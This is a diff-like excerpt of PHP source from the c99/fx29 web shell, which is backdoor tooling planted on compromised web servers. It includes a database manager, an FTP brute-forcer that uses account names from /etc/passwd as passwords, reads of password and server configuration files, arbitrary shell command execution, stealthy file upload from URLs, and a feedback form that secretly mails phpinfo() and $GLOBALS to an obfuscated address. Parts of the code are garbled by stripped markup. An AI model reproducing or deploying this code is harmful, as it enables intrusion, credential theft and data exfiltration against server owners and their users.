+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($perpage)) {$perpage = 10;}
+ $numpages = $count_row[0]/$perpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2) {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
+ echo "[ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_act == "insert") {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio)) { } //Not Ready
+ else {
+ echo "Inserting row into table: ";
+ if (!empty($sql_tbl_insert_q)) {
+ $sql_query = "SELECT * FROM `".$sql_tbl."`";
+ $sql_query .= " WHERE".$sql_tbl_insert_q;
+ $sql_query .= " LIMIT 1;";
+ $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
+ $values = mysql_fetch_assoc($result);
+ mysql_free_result($result);
+ }
+ else {$values = array();}
+ echo " ";
+ echo "Insert as new row ";
+ if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
+ echo " ";
+ }
+ }
+ if ($sql_tbl_act == "browse") {
+ $sql_tbl_ls = abs($sql_tbl_ls);
+ $sql_tbl_le = abs($sql_tbl_le);
+ echo " ";
+ echo " ";
+ $b = 0;
+ for($i=0;$i<$numpages;$i++) {
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
+ echo $i;
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
+ if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
+ else {echo " ";}
+ }
+ if ($i == 0) {echo "empty";}
+ echo "From: To: ";
+ echo "";
+ echo "With selected: ";
+ echo "Delete ";
+ echo "
";
+ }
+ }
+ else {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
+ if (!$result) {echo mysql_smarterror();}
+ else
+ {
+ echo "";
+ echo "With selected: ";
+ echo "Drop ";
+ echo "Empty ";
+ echo "Dump ";
+ echo "Check table ";
+ echo "Optimize table ";
+ echo "Repair table ";
+ echo "Analyze table ";
+ echo "
";
+ mysql_free_result($result);
+ }
+ }
+ }
+ }
+ }
+ else {
+ $acts = array("","newdb","serverstatus","servervars","processes","getfile");
+ if (in_array($sql_act,$acts)) {?>";
+ if ($sql_act == "newdb") {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ if ($sql_act == "serverstatus") {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars") {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes") {
+ if (!empty($kill)) {
+ $query = "KILL ".$kill.";";
+ $result = mysql_query($query, $sql_sock);
+ echo "Process #".$kill." was killed. ";
+ }
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
+ mysql_free_result($result);
+ mysql_query("DROP TABLE tmp_file;");
+ }
+ }
+ mysql_drop_db($tmpdb); //comment it if you want to leave database
+ }
+ }
+ }
+}
+echo "
";
+if ($sql_sock) {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows : ".$affected." ";
+}
+echo "
";
+}
+//End of SQL Manager
+if ($act == "ftpquickbrute") {
+echo " ";
+echo "";
+if ($win) {echo "Couldn't run on Windows!";}
+else {
+ function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
+ if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
+ else {$TRUE = TRUE;}
+ if ($TRUE) {
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass)) {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return TRUE;
+ }
+ }
+ }
+ if (!empty($submit)) {
+ if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else {
+ if ($fqb_logging) {
+ if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
+ else {$fqb_logfp = FALSE;}
+ $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
+ if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ }
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp)) {
+ $str = explode(":",fgets($fp,2048));
+ if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
+ echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
+ $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ $success++;
+ ob_flush();
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
+ fclose($fqb_logfp);
+ }
+ }
+ else {
+ $logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
+ $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
+ echo " ".
+ "Read first: ".
+ " Users only with shell ".
+ " Logging ".
+ "Logging to file: ".
+ "Logging to e-mail: ".
+ " ";
+ }
+ echo "
";
+}
+}
+if ($act == "d") {
+if (!is_dir($d)) { echo "$d is a not a Directory! "; }
+else {
+ echo "Directory information: ";
+ if (!$win) {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d));
+ $gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+}
+}
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
+if ($act == "security") {
+ echo "".
+ "".
+ "Open Base Dir ".$hopenbasedir." ";
+ echo "Password File ";
+ if (!$win) {
+ if ($nixpasswd) {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ echo "*nix /etc/passwd: ";
+ if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
+ if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
+ echo "From: To: ";
+ $i = $nixpwd_s;
+ while ($i < $nixpwd_e) {
+ $uid = posix_getpwuid($i);
+ if ($uid) {
+ $uid["dir"] = "".$uid["dir"]." ";
+ echo join(":",$uid)." ";
+ }
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ }
+ else {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo " You can't crack Windows passwords(".$v.")
"; }
+ else {echo "You can crack Windows passwords. Download , and use lcp.crack+ ?.";}
+ }
+ echo "";
+ echo "Config Files ";
+ if (!$win) {
+ $v = array(
+ array("User Domains","/etc/userdomains"),
+ array("Cpanel Config","/var/cpanel/accounting.log"),
+ array("Apache Config","/usr/local/apache/conf/httpd.conf"),
+ array("Apache Config","/etc/httpd.conf"),
+ array("Syslog Config","/etc/syslog.conf"),
+ array("Message of The Day","/etc/motd"),
+ array("Hosts","/etc/hosts")
+ );
+ $sep = "/";
+ }
+ else {
+ $windir = $_SERVER["WINDIR"];
+ $etcdir = $windir . "\system32\drivers\etc\\";
+ $v = array(
+ array("Hosts",$etcdir."hosts"),
+ array("Local Network Map",$etcdir."networks"),
+ array("LM Hosts",$etcdir."lmhosts.sam"),
+ );
+ $sep = "\\";
+ }
+ foreach ($v as $sec_arr) {
+ $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
+ $sec_d = rtrim($sec_arr[1],$sec_f);
+ $sec_full = $sec_d.$sec_f;
+ $sec_d = rtrim($sec_d,$sep);
+ if (file_get_contents($sec_full)) {
+ echo " [ ".$sec_arr[0]." ] ";
+ }
+ }
+ echo " ";
+
+ function displaysecinfo($name,$value) {
+ if (!empty($value)) {
+ echo "".$name." ".wordwrap($value,100)." ";
+ }
+ }
+ if (!$win) {
+ displaysecinfo("OS Version",myshellexec("cat /proc/version"));
+ displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
+ displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net"));
+ displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise"));
+ displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
+ displaysecinfo("RAM",myshellexec("free -m"));
+ displaysecinfo("HDD Space",myshellexec("df -h"));
+ displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
+ displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
+ displaysecinfo("cURL installed?",myshellexec("which curl"));
+ displaysecinfo("lynx installed?",myshellexec("which lynx"));
+ displaysecinfo("links installed?",myshellexec("which links"));
+ displaysecinfo("fetch installed?",myshellexec("which fetch"));
+ displaysecinfo("GET installed?",myshellexec("which GET"));
+ displaysecinfo("perl installed?",myshellexec("which perl"));
+ displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
+ displaysecinfo("Where is perl?",myshellexec("whereis perl"));
+ displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
+ displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
+ displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
+ displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
+ }
+ else {
+ displaysecinfo("OS Version",myshellexec("ver"));
+ displaysecinfo("Account Settings",myshellexec("net accounts"));
+ }
+ echo "
\n";
+}
+if ($act == "mkfile") {
+if ($mkfile != $d) {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object already exists!";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied!";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+}
+else {$act = $dspact = "ls";}
+}
+if ($act == "encoder") {
+echo "".
+ "".
+ " ".
+ " ";
+}
+if ($act == "fsbuff") {
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+ else {
+ $fx_infohead = "File-System Buffer";
+ $ls_arr = $arr;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+}
+if ($act == "selfremove") {
+ if (($submit == $rndcode) and ($submit != "")) {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name."!"; c99shexit(); }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else {
+ if (!empty($rndcode)) {echo "Error: incorrect confirmation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "Self-remove: ".__FILE__." Are you sure? For confirmation, enter \"".$rnd."\" : ";
+ }
+}
+if ($act == "update") { //Update c99Shell
+ $ret = c99sh_getupdate(!!$confirmupdate);
+ echo "".$ret." ";
+ if (stristr($ret,"new version")) {
+ echo " ";
+ }
+}
+if ($act == "feedback") {
+ $suppmail = base64_decode("ZmVlbGNvbXpAZ21haWwuY29t");
+ if (!empty($submit)){
+ $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
+ $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
+ if (!empty($fdbk_ref)) {
+ $tmp = @ob_get_contents();
+ ob_clean();
+ phpinfo();
+ $phpinfo = base64_encode(ob_get_contents());
+ ob_clean();
+ echo $tmp;
+ $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
+ }
+ mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
+ echo "Thanks for your feedback! Your ticket ID: ".$ticket.". ";
+ }
+ else {
+ echo "".
+ " ".
+ "";
+ }
+}
+if ($act == "fxmailer") {
+ if (!empty($submit)){
+ $headers = 'To: '.$dest_email."\r\n";
+ $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
+ if (mail($suppmail,$sender_subj,$sender_body,$header)) {
+ echo "Email sent! ";
+ }
+ else { echo "Couldn't send email! "; }
+ }
+ else {
+ echo " ".
+ " ".
+ "";
+ }
+}
+if ($act == "search") {
+ echo "";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit)) {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array(
+ "name"=>$search_name,
+ "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text,
+ "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found!";}
+ else {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
+ echo "";
+ if ($act == "ls") {
+ $dspact = $act;
+ echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).".
+ " ";
+ }
+}
+if ($act == "chmod") {
+ $mode = fileperms($d.$f);
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+ else {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+ }
+}
+}
+if ($act == "upload") {
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
+ if (!empty($submit)) {
+ global $_FILES;
+ $uploadfile = $_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"])) {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
+ $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"! ";
+ }
+ else { $uploadmess .= "File uploaded successfully! ".$uploadpath.$destin; }
+ }
+ elseif (!empty($uploadurl)) {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin)) {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {
+ if ($i > 0) {$b = "_".$i;}
+ $destin = "upload".$b;
+ $i++;
+ }
+ }
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorrect URL! ";}
+ else {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file!";}
+ else {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ $uploadmess .= "File saved from ".$uploadurl." !";
+ }
+ }
+ }
+ }
+ else { echo "No file to upload!"; }
+ }
+ if ($miniform) {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else {
+ echo "";
+ }
+}
+if ($act == "delete") {
+ $delerr = "";
+ foreach ($actbox as $v) {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ }
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ $act = "ls";
+}
+if (!$usefsbuff) {
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE. ";}
+}
+else {
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
+ elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
+ elseif ($actpastebuff) {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v) {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v) {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff) {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+ if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
+ $cmdline .= " ".$actarcbuff_path;
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v) {
+ $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
+ if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
+ if (is_dir($v)) {
+ if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $tmp = realpath(".");
+ chdir($d);
+ $ret = myshellexec($cmdline);
+ chdir($tmp);
+ if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
+ $ret = str_replace("\r\n","\n",$ret);
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v) {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff) {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v) {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v) {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "cmd") {
+ @chdir($chdir);
+ if (!empty($submit)) {
+ echo "";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt) {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10; }
+ if ($msie) { $cols = 113; }
+ else { $cols = 117;}
+ //echo "".htmlspecialchars($ret)." ";
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ @chdir($olddir);
+ }
+ else {
+ echo "Command Execution ";
+ if (empty($cmd_txt)) {$cmd_txt = TRUE;}
+ }
+}
+if ($act == "ls") {
+ if (count($ls_arr) > 0) { $list = $ls_arr; }
+ else {
+ $list = array();
+ if ($h = @opendir($d)) {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ }
+ if (count($list) == 0) { echo "Can't open folder (".htmlspecialchars($d).")!
";}
+ else {
+ $objects = array();
+ $vd = "f"; //Viewing mode
+ if ($vd == "f") {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v) {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
+ elseif (is_dir($v)) {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win) {
+ $ow = posix_getpwuid(fileowner($v));
+ $gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Date Modified ";
+ if (!$win) {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = " ";
+ $y .= " ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d") {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a) {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r) {
+ if (ereg($r[0],$o)) {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
+ else {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".") {
+ $row[] = " ".$o." ";
+ $row[] = "CURDIR";
+ }
+ elseif ($o == "..") {
+ $row[] = " ".$o." ";
+ $row[] = "UPDIR";
+ }
+ elseif (is_dir($v)) {
+ if (is_link($v)) {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] ";
+ }
+ else {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = "".view_perms_color($v)." ";
+ if ($o == ".") {$checkbox = " "; $i--;}
+ else {$checkbox = " ";}
+ if (is_dir($v)) {$row[] = " ".$checkbox;}
